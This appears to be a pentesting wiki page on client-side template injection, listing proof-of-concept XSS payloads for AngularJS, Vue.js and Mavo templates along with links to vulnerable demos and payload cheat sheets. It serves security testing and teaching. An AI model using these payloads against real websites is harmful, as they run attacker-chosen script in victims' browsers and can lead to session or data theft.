Client Side Template Injection (CSTI)

Summary

It is like a Server Side Template Injection but in the client. The SSTI can allow you the execute code on the remote server, the CSTI could allow you to execute arbitrary JavaScript code in the victim.

The way to test for this vulnerability is very similar as in the case of SSTI, the interpreter is going to expect something to execute between doubles keys and will execute it. For example using something like: {{ 7-7 }} if the server is vulnerable you will see a 0 and if not you will see the original: {{ 7-7 }}

AngularJS

AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces.
For example, if your input is being reflected inside the body of the HTML and the body is defined with ng-app: <body ng-app>

You can execute arbitrary JavaScript code using curly braces adding to the body:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/

{% hint style="danger" %} ****Angular 1.6 removed the sandbox so from this version a payload like {{constructor.constructor('alert(1)')()}} or <input ng-focus=$event.view.alert('XSS')> should work. {% endhint %}

VueJS

You can find a vulnerable vue.js implementation in https://vue-client-side-template-injection-example.azu.now.sh/
Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

A really good post in CSTI in VUE can be found in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Check more VUE payloads in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected****

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

More payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations****

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

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